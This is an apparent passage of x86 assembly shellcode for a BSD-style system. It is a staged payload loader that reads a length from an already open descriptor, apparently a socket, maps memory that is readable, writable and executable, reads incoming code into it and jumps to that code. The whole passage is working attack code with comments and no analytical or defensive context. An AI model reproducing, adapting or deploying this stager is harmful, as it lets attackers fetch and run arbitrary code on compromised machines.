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_read_exec:
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	;; Save some stack space
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	mov	ebp, esp
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	sub	esp, byte 8
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.loop:
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	xor	ecx, ecx	; clear ecx
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	mul	ecx		; clear eax and edx
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	;; Read a 4-byte size of code fragment to execute
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	push	ecx
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	mov	esi, esp
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	mov	al, 4
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	push	eax		; nbyte
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	push	esi		; buf
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	push	edi		; s
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	push	eax
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	dec	eax
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	int	0x80
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	jb	end
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	mov	esi, [esp+16]	; code buffer length
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	;; mmap memory
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	xor	eax, eax
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	push	eax		; alignment spacer
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	push	eax		; 0
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	dec	eax
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	push	eax		; -1
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	inc	eax
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	mov	ax, 0x1002
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	push	eax		; (MAP_ANON | MAP_PRIVATE)
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	xor	eax, eax
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	mov	al, 7
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	push	eax		; (PROT_READ | PROT_WRITE | PROT_EXEC)
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	push	esi		; len
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	push	edx		; addr
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	push	edx 		; spacer
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	mov	al, 197
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	int	0x80
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	jb	end
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	;; read fragment from file descriptor into mmap buffer
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	mov	ebx, eax
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	add	ebx, esi
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.read_fragment:
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	push	esi		; nbytes
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	mov	eax, ebx
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	sub	eax, esi
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	push	eax		; buf
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	push	edi		; s
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	push	edx		; spacer
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	xor	eax, eax
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	mov	al, 3
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	int	0x80		; read(edi, eax, esi)
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	jb	end
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	sub	ebx, eax	; Subtract bytes read to buf end pointer
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	sub	esi, eax	; Subtract bytes read from total
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	jnz	.read_fragment
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	jmp	ebx
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